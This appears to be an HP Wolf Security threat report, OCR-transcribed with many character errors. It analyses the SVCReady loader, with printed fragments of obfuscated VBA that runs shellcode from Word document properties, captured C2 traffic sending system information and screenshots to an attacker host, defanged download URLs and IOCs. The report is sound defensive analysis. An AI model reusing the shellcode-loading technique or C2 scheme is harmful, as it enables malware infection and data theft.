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SVCReady: A New Loader Gets Ready

Since the end of April 2022, we have observed new malicious spam campaigns spreading a
previously unknown malware family called SVCReady. The malware is notable for the
unusual way it is delivered to target PCs — using shellcode hidden in the properties of
Microsoft Office documents — and because it is likely in an early stage of development, given
that its authors updated the malware several times in May. In this report, we share a closer
look at the infection chain of the new SVCReady campaigns, the malware’s features, its
changes over time, and possible links with TA551.
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Threat Analysis
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Figure 1 — SVCReady sample isolated by HP Wolf Security in April 2022.

Infection Chain

Based on HP Wolf Security telemetry, the first sighting of this new campaign was on 22 April
2022. The attackers sent Microsoft Word document (.doc) attachments to targets via email.
As in many other malware campaigns, the documents contain Visual Basic for Applications
(VBA) AutoOpen macros that are used to execute malicious code. But unlike other Office
malware, the document does not use PowerShell or MSHTA to download further payloads
from the web. Instead, the VBA macro runs shellcode stored in the properties of the
document, which then drops and runs SVCReady malware.
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Figure 2 — Document properties containing shellcode, namely a series of nop instructions as
represented by 0x90 values.

VBA Macro and Shellcode

First, two Windows API functions are defined in the VBA code: SetTimer and VirtualProtect.

Private Declare PtrSafe Function DidascalosLalland Lib "user32" Alias "SetTimezr" (ByVal SplanchnapophysialCourant As LongPtr, ByVal
Private Declare PrrSafe Function ClusteringRelaxins Lib "kernel32"™ Alias "VirtualProtect" (ByVal ScouseMenyanthaceous As LongPtr, By

Figure 3 — Windows API function definitions.

Next the shellcode, which is located in the document properties, is loaded into a variable.
Different shellcode is loaded depending on if the architecture of the system is 32 bit or 64 bit.

#If Win€4 Then

UricacidurialmpassasRifacimento = NonstretchableMultiplexes(AcciveDocument.BuileInDocumancPropercies (GAVET1IcOzg ("RRO1D6AL™)) .Value) " G2t &4bir =hallcods from CQOCUMENT properciss
#Elze
UricacidurialmpassesRifaciments = NonstretchableMultiplexes (ActiveDocument.BuiltInDecumencProperties (GdVET1IcOzg ("DIE6GNL96_q0")) .Value) ' Get 32bit shellcode from document properties

#End If

Figure 4 — Loading shellcode into a variable.

The shellcode, now in a variable, is then stored in memory so that it can be assigned
executable access rights by calling VirtualProtect. After giving executable access rights to
the shellcode, SetTimer is called. The SetTimer API can be passed a callback function as an
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argument, which is simply a pointer in memory. In this case, the attackers pass the address
of the shellcode, thus executing it.

DesiccantsStashPrenoted = UBound (UricaciduriaTmpassesRifacimento) + 1

LogolatryUnspasmodicDaswen = VarPrr (UricaciduriaImpassesRifacimento(0)) ' Locating shellcode in memory
ClusteringRelaxins LogolatryUnspasmodicDaswen, DesiccantsStashPrenoted, 64, VarPrr (AntichronismErgastic) ' Ch
GetCbject (GAVET1IcOzg ("MAGIGYCDE"™) ) .Environment (GAVET1IcOzg ("tVIrObzvLl™) ) (GAVET1IcOzg ("wbugfY3tO")) = Active.
GetObject (GAVET1TcOzg ("Eg4mRs3K8V") ) . Environment (GAVET1TcOzg ("PTURKSSP1Cc") ) (GdVET1IcOzg ("IxP52dgE")) = GAVET1IcOzg("dtKYri7z"
If True Then

UnpalledSpringingly = DidascalosLalland(0, LogolatryUnspasmodicDaswen, 1, LogolatryUnspasmodicDaswen) ' Use SetTimer callback function to execute shellcoode
ZingiberaceaeSamenessMisdentiction 1
RunnelsEnhancingWhizz 0, UnpalledSpringingly ' KillTimer as shellcode is already running now

Figure 5 — Change of shellcode protection and execution.

At this point, the execution of the VBA macros ends, and the shellcode takes over the next
steps of the infection. First, a dynamic link library (DLL) is dropped into the % TEMP%
directory. Next, the shellcode copies rundll32.exe from the Window system directory into the
%TEMP% directory. At this point, rundll32.exe is renamed, presumably to evade detection. A
detection opportunity here is to alert on the execution of Windows owned binaries outside
their standard directories.

Once both files are in the % TEMP% directory, the renamed copy of rundll32.exe is run with
the DLL and a function name as arguments. This execution launches SVCReady.

“C:\Users\ \AppData\Local\Temp\r£49_tmp_exe" “C:\Users\ \AppData\Local\Temp\yEA8.tmp.d11",vkCmdBeginRenderPass

Figure 6 — Rundll32.exe executing the malware.

This infection chain relies on shellcode stored in an Office document, a technique not often
seen in malware campaigns. However, we have seen one other campaign that used this
technique in mid-April to distribute Ursnif.

The Downloader

The DLL started via rundll32.exe acts as a downloader, with additional functionalities for
collecting information about the infected system and communicating with a command and
control (C2) server. As soon as the downloader runs, it reports to the C2 server and
immediately starts gathering information.
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,‘ Wireshark - Follow HTTP Stream (tcp.stream eq 77) - wireshark_26566628-E3E6-46BD-A405-8DEBE5093A34_20220512085043 _a0... — O >

POST /x1/gate HTTP/1.1

Accept: */*

Content-Type: text/plain

g: Bad3e319-288c-4f11-94d4-d369834931dT
pr: 1

sg: AB3AZ4CE-GEZE-4BCE-ACIF-4A0T72405AC3S
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: 71

Pragma: no-cache

{"method":"log”,"params™:{"logs":["Starting: success™],"stage”:"init"}}HTTP/1.1 288 OK
Date: Thu, 12 May 2822 12:54:85 GMT

Server: Apache/2.4.6 (Cent0S) OpensSL/1.0.2k-fips PHP/7.2.34 mod_myfixip/1.4
X-Powered-By: PHP/7.2.34

Content-Length: 8

Connection: close

Content-Type: text/html; charset=UTF-8

1 cliene pht, I server pkt, 1 turm.

Entire conversation (541 bytes) hd Show and save data as | ASCII hd
Find: | | Findnext |
Filter Out This Stream Print Save &s... Back Close Help

"

Figure 7 — C2 traffic of downloader, showing a status update (“Starting: success”).

Information Gathering

The malware collects system information including the username, computer name, time zone

and whether the computer is joined to a domain. It is also queries the Registry, specifically
the HKEY _LOCAL_MACHINE\HARDWARE\DESCRIPTION\System key, for the details
about the computer’s manufacturer, BIOS and firmware. Additionally, it collects lists of
running processes and installed software. The malware gathers this information through

Windows API calls rather than Windows Management Instrumentation (WMI) queries. All the

information is formatted as JSON and sent to the C2 server through an HTTP POST request.

‘ Wireshark . Follow HTTP Stream (tcp.stream eq 78) - wireshark_26566628-E3E6-46BD-A405-8DEGG3093A34_20220512085043_a05080 - [m]

POST /x1/gate HTTR/1.1
Accept: */*

Content-Type: application/octet-stream
X-JsonSize: 4839

g: Bad3e319-286c-4711-94d4-d3699a4931df

pr: 1
sg: AB3A24CE-GEBB-4BCB-AC3F-4A972495AC33
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: 4839

Pragma: no-cache

{"methed": "sysinfo_short”, "params":{"osinfo": {"bit":64, "0s":"18", "esver”: { "dwuildNumber":16299, "dwajorVersion”:1@, "dwinorVersion”:@, "dw0SVersionInfosize": 156, "dwPlatformId":
2,"s2C5DVersion”: ", "wProductType":@, "wReserved” :0, "wServicePackMajor” :8, "wServicePackMinor” :0, "wSuiteMask” :8}, “systeminfo”: { "adapterlist”:[{"dhcps":[], "gateways": [ ], "guid":"", "ips":

Figure 8 — Sending system information to the C2 server.
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Command and Control

Communication with the C2 server occurs via HTTP, but the data itself is encrypted using the
RC4 cipher. Interestingly, RC4 encryption was not implemented in the first malware samples
we analyzed at the end of April 2022. This suggests that the C2 encryption was only added
during May and that the malware is being actively developed. After unpacking the sample,
the RC4 key can be extracted from memory. The attackers change the RC4 key for each
campaign.

Té@?b?@@: 7b36 4544 52d 4237 38 2d34 {602ED31E-B7A8-4
@007b91@: 4533 383 2d45 4443 33 3345 E3A-802F-EDCD33

0007b92@: 3444 38 3 3839 36 7930 4AD5C8}. J@v89ubyd
P007b93@: 3839 3933 330 7438 3933 3475 [B9ut934uc@t8934u

PO@7b940: 6374 3933 338 7438 3534 [ct@8934uc@t89us4d
@@@7b95@: 7938 3638 3 3438 7533 [y895689vuh489cu3
@P@7b96@: 3839 3435 632f 3000 894:’(45.._!1.@.

Figure 9 — The RC4 key used to encrypt the malware’s network communication, shown in
memory.

The RC4 key in Figure 9 corresponds to the campaign from 30 May:

e RC4 key — 0v89u6y089ut934uc0t8934uct08934uc0t89u54y895689vuh489cu389ct45
e SVCReady DLL —
16851d915aaddf29fa2069b79d50fe3a81ecaafd28cde5b77cb531fe5a4e6742

Persistence

After exfiltrating information about the infected PC, the malware tries to achieve persistence
on the system. The malware’s authors probably intended to copy the malware DLL to the
Roaming directory, giving it a unique name based on a freshly generated UUID. But it seems
they failed to implement this correctly because rundll32.exe is copied to the Roaming
directory instead of the SVCReady DLL. The malware creates a scheduled task called
RecoveryExTask that runs the file copied to Roaming with rundll32.exe and a function name
when the system starts.

Mame Status Triggers Mext Run Time Last Run Time Last Run Result Al
(% OneDrive Per-Machine Standalone U... Ready At 3:00 AM on 5/1/1992 - After triggered, repeat every 1.00:00:00 indefinitely.  5/13/2022 10:32:06 AM  11/30/1999 12:00:00 AM  The task has not yet run. ((x41303) M
(% OneDrive Reporting Task-5-1-5-21-1.. Ready At 9:47 AM on 5/11/2022 - After triggered, repeat every 1.00:00:00 indefinitely, 5/12/2022 9:47:23 AM  5/12/2022 8:48:21 AM (0xFFFFFFFF) I
L] RecoveryExTask Ready At log on of DESKTOP-2C3IQHON 11/30/1999 12:00:00 AM  The task has not yet run. ((x41303) M)

< >

General Triggers Actions Conditions Settings History (disabled)

Action Details
Start a program "C:\Users\ Il AppData' Local\ Temp\r8C6E.tmp.exe "C:\Users\IIl\ AppData\Roaming\{91C1D6F6-36C1-439a-B20A- AS3E69E240301.dII", CallFunction

6/17


https://threatresearch.ext.hp.com/wp-content/uploads/2022/06/svcready_009-1.png
https://threatresearch.ext.hp.com/wp-content/uploads/2022/06/svcready_010.png

Figure 10 — Definition of the scheduled task.

But because of the error, rundll32.exe is executed with rundll32.exe, meaning the malware
does not start after the system is rebooted.

At this point, the malware creates a new registry key that may be useful for building a
signature to detect the malware: HKEY_CURRENT_USER\Software\Classes\CLSID\

{E6D34FFC-AD32-4d6a-934C-D387FA873A19}

[ Registry Editor - m] *
File Edit View Favorites Help
Computer\HKEY_CURREMT_USER\Software\Classes\CLSID\{EED34FFC-AD32-4dba-534C-D387FASTIA19}
v | CLsiD || Name Type Data
: 018D5C66-4533-4307-9B33-224DE2ED1FES) 7
§D31E4825-?EB4-4dc3-B131-EM&EMCSDDS}} ?.'.'- REG_BINARY 2600000058 c75b877b73 aabd7a34 eec97e20 cbbead 11fa ec 63 5f cb 01 dd 68 c1 96fb 91 23 5e b...
{EGD34FFC-AD32-4dba-934C-D387FABTIA1G}

Figure 11 — Registry key created by the malware.

After completing a task, the malware sends a status message to the C2 server. These status
messages are always in JSON format. For example, the status message after creating the
scheduled task looks like this:

{
"method":"log",

"params";
{ "logs" : ["autorunFile=C:\\Users\\HOSTNAME\\AppData\\Roaming\\72CE9BDD-

F959-4488-AB89-6227489418AC binarypath=C:\\Users\\HOSTNAME\\AppData\\Local\
\Temp\\y7E45.tmp.d1l1l: success"],
"stage":"set-autorun”

}
}

Figure 12 — JSON status.

More Information Gathering

Once the persistence phase is completed, another information gathering phase follows. This
time, the SVCReady takes a screenshot and sends it to the C2 server.
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! Wireshark - Follow HTTP Stream (tcp.streamn eq 85) - wireshark_26566628-E3E6-46BD-A405-8DEG65093A34_20220512085043_a05080 — O X

POST /x1/gate HTTP/1.1 )
Accept: */*

Content-Type: application/octet-stream
X-JsonSize: 73

g: @ad3e319-2808c-4711-94d4-d3690a4931df
pr: 1

sg: AB3A24CE-GESE-4BCE-ACSF-4A972495A033
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: 382792

Pragma: no-cache

{"method"”:"screenshot”™, "params™: {"name”: "ScreenshotInit”, "stage™:"init"}}.PNG
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Entire conversation (383 kB) - Show and save data as | ASCII -
Find: | [ Find Next

Filter Qut This Stream Print Save as... Back Cloze Help

Figure 13 — Sending screenshot to C2.

The malware then runs the systeminfo.exe process. The malware extracts the osinfo section
from it and sends it to the C2 server. The information collected is identical to that gathered in
the earlier information gathering phase. It is possible that the malware makes this redundant
query in case the first queries via Windows API and registry key fail or perhaps the developer
was experimenting with different methods of gathering information.

An example output looks like this:
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"method"”: "sysinfo",
"params”: {
"osinfo": {
"bit": 64,
"compression": "txt",
"os": "1@",
"osver": {

}
}s

"dwBuildNumber": 16299,
"dwMajorVersion": 10,
"dwMinorVersion": @,
"dwOSVersionInfoSize": 156,
"dwPlatformId"”: 2,
"szCSDVersion™: "",
"wProductType": 9,
"wReserved": 9,
"wServicePackMajor": 0,

"wServicePackMinor":
"wSuiteMask": @

W]
-

"stage": "sysinfo"

}
Figure 14 — osinfo output.

Virtual Machine Detection

Finally, the malware makes two WMI queries that are used to determine whether its runtime

environment is virtualized or not:

Select AccessState from Win32_USBControllerDevice

select * from CIM_ComputerSystem

This stage is called checkvm.
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‘ Wireshark - Follow HTTP Stream (tcp.stream eq 88) - wireshark_26566628-E3E6-46B0-A403-8DE6E5093A34_20220512085043 _a... — O *

POST /x1/gate HTTP/1.1

Accept: */*

Content-Type: text/plain

g: ©9ad3e319-280c-4f11-94d4-d3690a4931df
pr: 1

sg: AB3A24CE-GEBB-4BCB-ACSF-4A972495AC33
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: 31

Pragma: no-cache

{"method":"log","params":{"logs":["Checking usb...: success"],"stage":"checkwm"}}HTTP/1.1 288 OK
Date: Thu, 12 May 2822 12:54:11 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.8.2k-fips PHP/7.2.34 mod_myfixip/1.4

X-Powered-By: PHP/7.2.34

Content-Length: @

Connection: close

Content-Type: text/html; charset=UTF-8

Backer 1760, 1 client pkt. 1 server pkt, 1 fum. Qlick o select.

Entire conversation (551 bytes) - Show and save data as | ASCII -
Find: | | Find Next
Filter Qut This Stream Print Save as... Back Close Help
[

Figure 15 — Checking USB controllers to see if it is running inside a virtual machine (VM).

The result of this evaluation is then communicated back to the C2, ending the initial phase of

the malware. For example, if a VM is detected:
{*'method”:”log”,params”:{*logs”:.[‘USB Status 2 VM DETECTED “],”stage”:”usbstatus-ban’}}

The malware then enters a sleep stage for 30 minutes.

‘ Wireshark - Follow HTTP Stream (tcp.stream eq 91) - wireshark_26566628-E3E6-46BD-A403-8DE6E3003A34 20220512085043 _a... - O X

POST /xl/gate HTTR/1.1

Accept: */*

Content-Type: text/plain

g: Bad3e319-288c-4111-94d4-d3690a4931df
pr: 1

sg: AB3AZ4CE-0EBE-4BCE-ACSF-4ADT72495AC33
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: 77

Pragma: no-cache

{"method":"log","params":{"logs":["Sleeping for 3@ min..."],"stage":"sleep"}}HTTP/1.1 288 OK
Date: Thu, 12 May 2822 12:54:12 GMT

Server: Apache/2.4.6 (Cent0S) OpenSSL/1.8.2k-fips PHP/7.2.34 mod_myfixip/1.4

X-Powered-By: PHP/7.2.34

Content-Length: @

Connection: close

Content-Type: text/html; charset=UTF-8

1 cliene pit, I server pitt, 1 .

Entire conversation (547 bytes) hd Show and save data as | ASCII hd
Find: | [ Find Mext
Filter Qut This Stream Print Save as... Back Close Help
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Figure 16 — Malware going to sleep.

Beaconing activity

SVCReady beacons to its C2 server every five minutes. The beacon only contains the status
of the malware. Once the six consecutive sleep instructions have elapsed, the malware
validates the last domains received via an HTTP request and then asks for new tasks. The
API nodes of the malware gate are structured as follows:

Purpose API Node

Validate domain Ixl/gate/check

Share information /xl/gate

Request tasks Ixl/gate/task

‘ Wireshark - Follow HTTP Streamn (tcp.stream eq 84) - wireshark_26566628-E3E6-46BD-A405-8DE6E5093A34_20220512085043_a05080 — O *,

POST /x1/gate/task HTTP/1.1

Accept: */*

g: @Pad3e319-2808c-4f11-94d4-d3690a4931dT
pr: 1

sg: AB3A24CE-BEBB-4BCE-ACIF-4A972495AC33
User-Agent: svc/1.8

Host: kikipi.art

Content-Length: @

Pragma: no-cache

HTTP/1.1 288 0K

Date: Thu, 12 May 2822 12:54:87 GMT

Server: Apache/2.4.6 (Cent05) OpensSsL/1.8.2k-fips PHP/7.2.34 mod_myfixip/1.4
X-Powered-By: PHP/7.2.34

Content-Length: 3@

Connection: close

Content-Type: text/html; charset=UTF-3

{"domains™:[], " command™: "nop™}

1 clisnt plt. 1 server pht; 1 wm.

Entire conversation (479 bytes) A Show and save data as | ASCIT b
Find: | [ Find Next
Filter Qut This Stream Print Save as... Back Cloze Help

hl

Figure 17 — C2 response to task request.

The response can include a list of domains and a command for the malware, for example:
{“domains”:[“galmerts[.Jart”, "kikipi[.]Jart”,"kokoroklo[.]su’],"command”:’nop’}

Other functionalities of the malware are:

e Download a file to the infected client
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e Take a screenshot

e Run a shell command

e Check if itis running in a virtual machine

¢ Collect system information (a short and a “normal” version)
e Check the USB status, i.e. the number of devices plugged-in
o Establish persistence through a scheduled task

e Run afile

e Run a file using RunPeNative in memory

Follow-up Malware

In the campaign on 26 April, RedLine Stealer was delivered as a follow-up payload after the
initial infection with SVCReady. At that time the C2 communication format was not encrypted.
It may be that this campaign was a test by SVCReady’s operators. At the time of writing, we
have not yet received any further malware payloads since then. Below are the indicators of
compromise (IOCs) for the malware campaign on 26 April:

Word documents:

o fab747e42c4574f854cd0083b05064466e75d243da93008b9f0dcac5cf31f208
» e09c98b677264fc0de36a9fd99a2711455fe79699ca958938dd12bSbd2c66bad
» ¢c0795d7a7f2c5fdb7615ee5826e8453bef832f36282d6229ec07caf49842f4bc

DLL:
d3e69a33913507c80742a2d7a59c889¢efe7aa8f52beef8d172764e049e03ead5
C2 domain:
muelgadr].]top
Download URL:
hxxp://wikidreamers[.]Jcom/exe/install.exe
Payload:

RedLine Stealer —
6e1137447376815e733¢c74ab67f202be0d7c769837a0aaac044a9b2696a8fa89

File name and document similarities to TA551

We identified similarities between the file names of the documents used to deliver
SVCReady and those used in TA551 campaigns (Figure 18). TA551 activity was last seen at
the end of January 2022.
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O _ABELS DETECTED & | APPLICATION & | TYPE % | RESOURCES

o w Jan.18,2022,1:18 pm. @ Microsoft Word Isolation bid_01.18.2022.doc

o mw Jan.18,2022,12:54 pm. = Microsoft Word |solation require_01.22.doc

o m™ Jan. 18,2022, 12:55 p.m. & Microsoft Ward Isolation require_01.22.doc

o mw Jan.18,2022,12:43 pm. & Microsoft Word |solation order-01.22.doc

o w Dec &, 2021, 2:04 p.m. & Microsoft Word |solation certificate.12.21.doc

o w Sept. 23,2021, 8:08 am. @ Microsoft Word Isolation certificato,09.22.21 doc

o mw Sept. 23,2021, 7:57 am. @ Microsoft Word Isolation documento legale 09.22.21 . doc

Figure 18 — List of past TA551 threats.

We also found similarities between the lure images used in SVCReady and TA551

campaigns.

O.doc

- Word

2|

Sign in

Insert Design Layout References Mailings Review View Developer Help '1;3 Tell me
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Figure 19 — Malicious document containing a social engineering image, April 2022 campaign.

We maintain a database of about 20,000 images extracted from malicious documents, which
we use to find visually similar images using_perceptual hash algorithms. Figure 20 shows the
image extracted from a document that drops SVCReady.
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Figure 20 — Extracted image from SVCReady document.

Searching our database revealed three documents used to deliver Ursnif that contained the
same image, all from May 2021:

» 2021-05-10:

ebafaabd1e4a2c7adeedcabee0ed095271a53a293162e3cf7ed52d570279258e
e 2021-05-12:

02e62eeb73ac0c0fa55cc203fbee23420a848cf991106eca3f75e8863a0cb4e5
e 2021-05-21:

f21289980710dcbb525d70a2be6aa1dc3118150386¢c0b2196cc5f23e637b875

A closer analysis of these documents found that information was also stored in the document
properties that was subsequently used by malicious macros. However, the VBA code is
significantly different and used MSHTA to download and run the follow-up malware from the
web. The malware was downloaded from the following URLSs:

e hxxp://192.186.183[.]130/ts/909t5HXsDn4QMY60B0I8tfipOTON4FPGKuw~~/40PRbE-
IUJTVQYhwM4WoZD6MyfelL T3GeSA~~/

o hxxp://144.168.197[.]36/ts/KS8qyPL1yA-fh8c8BXwFfnOGiWotKKIvgQ~~/t6g4Lknm9T-
M1FiPi5sCy2xtzZ27J7KabQ~~/

Ursnif payload hashes:

o 2848bfc05bcfaas704ff4c44ab86b23c69aa386a39ad4bb393f3287bd884f8cc
e 18d7206e9fa38d5844d3b0ec46576ace8a36091e77477f86a9a43724aa6a2309
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Further, our search found two more images that weren’t identical, but still very similar.

This document created in previous version of Microsoft Office Word .

To view or edit this document, please click "Enable editing™ button
on the top bar, and then click "Enable content".

Figure 21 — Similar document images from 2019 and 2020.

The difference with this image is that the text is part of the image, whereas in the other
campaign, the text and the background were separate element in the document. Notably, the
text is identical, including grammatical errors. These two documents were observed in 2019
and 2020 in campaigns that distributed Ursnif and IcedID respectively:

o 2019-02-04:
3dab8a906b30e1371b9aab1895cd5aef75294b747b7291d5¢308bb19fbc5db10

» 2020-03-16:
e47945f9cc50bb911242f9a69fc4177ed3dcc8e04dbfecO0a1d36ff8699541ab5

Both campaigns can be traced back to TA551 based on the domains used to host the
malware:

e gouZ20Iclair[.]band
¢ glquaoy[.Jcom

Comparing the images used in malware documents provides no certainty that the same
threat actor is behind them, since it is possible that we are seeing the artifacts left by two
different attackers who are using the same tools. However, our findings show that similar
templates and potentially document builders are being used by the actors behind the TA551
and SVCReady campaigns.

Naming the Campaigns

The malware family analyzed in this report corresponds to IDS rules published by Proofpoint,
which names it SVCReady. To avoid confusion, we are tracking the malware by the same
name.

Conclusion
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Since the end of April 2022, we have been seeing new malicious spam campaigns spreading
a previously unknown malware family, called SVCReady. Notably, the malware is dropped by
shellcode that is stored in the properties of a Word document. SVCReady is under active
development. We have tracked several changes since the first campaign in April 2022. The
malware also has bugs, notably in its persistence feature and duplication in the
reconnaissance data it collects. This, as well as the low frequency and volume of the
campaigns, suggests that the malware is in the early stages of development.

Indicators of Compromise

Documents 135
65E551F7093299A9A20EAF536197C19ABBDD51B95B9570EDAC4950D7C951AD92
D8AEC5539973927EB07A23BA4DE3780D28C2DD2D6DBBC697562A44B30CD3B03F
CA61DE1E2442C16C280EB7264D6B7F79EC92CDC10D1C202EFB028DA5F242F83A
74652EAE27C9F5A5C397EACC76DAF768B3E601F106E8539C7D855712AB185E40
0224B906741F248D8BCEDAEF423B58FFB1B4577EC06711293F7065B12AE71788
FDABB1F5B7691F03B2D89FEBS8BOD4E3FD036F9B4E718269CAD8741C7E4D14072
FD799D99F7E84436F8AF16D94EE7B2F1D08CA3CEE746E1CF9B36E2139D676E4C
4A2E76B57DE10C687716A1D7A295910CC5C0D04F5D10D4F4C53AE1BDE45A251C
9122092980BCOED9C9B008C5456CC18656C41798585B8819F1D6F2620CAC3CF3
391D134B792FB660426F183755AD00DBD737F521CFF1F9A12D402CD714D34645
B67120F25963D36560CBB86B35E864F608536 ABEF7C3377F46997D65BAD13CAA
5170461322CB1A79ABB84FEED75B7F871B6F1594562E7724C45D7BB98F97C86B
4B8627B5896A0656E801A95B16068F84660F1460A247E712651E0945EB4309CB
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95E328A549247F900DA5747F7E2057DEF121D2EDA82CFD7E926A6955C797D317
AFA40C3157F2704ABA4838A7308B53A4853176AF86982CE2999AA4DF3AC7BBOC
O00FD57B32A3DF737C274D2184663DE4EDC22A4E003419C1B10B262E66995EE23
5B7FBEC223DEB714DC7A4037348936A27D86B061CB2120213D5A69849CC9B588
FAG6F5695AC2530B486FDD6FE8096AAAF65081BC092AB874545628C61E1403919
C86A477579188305132DAB40700D06FFFOE26B5CE627233FBOD20DA1DFC74B47
748352146AB86EA1A32DFEDOBODSFACOEFC52728BCCD79476B74FB73517EFB21

DLLs
08e427c92010a8a282c894cf5a77a874e09c08e283a66f1905¢131871cc4d273
16851d915aaddf29fa2069b79d50fe3a81ecaafd28cde5b77cb531fe5a4e6742
1d3217d7818e05db29f7c4437d41ea20f75978f67bc2b4419225542b190432fb
235720bec0797367013cbdc1fe9bbdde1c5d325235920a1a3e9499485fb72dba
39c955¢9e906075¢11948edd79ffc6d6fccdb5e3ac336231f52c3b03e718371e
5e932751c4dea799d69e1b4f02291dc6b06200dd4562b7ae1b6ac96693165cea
d3e69a33913507c80742a2d7a59c889efe7aa8f52beef8d172764e049e03eadS
f690f484c1883571a8bbf19313025a1264d3e10f570380f7aca3cc92135e1d2e

Domains
muelgadr].]top
wikidreamers[.Jcom
galmerts|.]Jart
marualosal.]top
kikipi[.]art
kokoroklo[.]su

Tags

loader svcready
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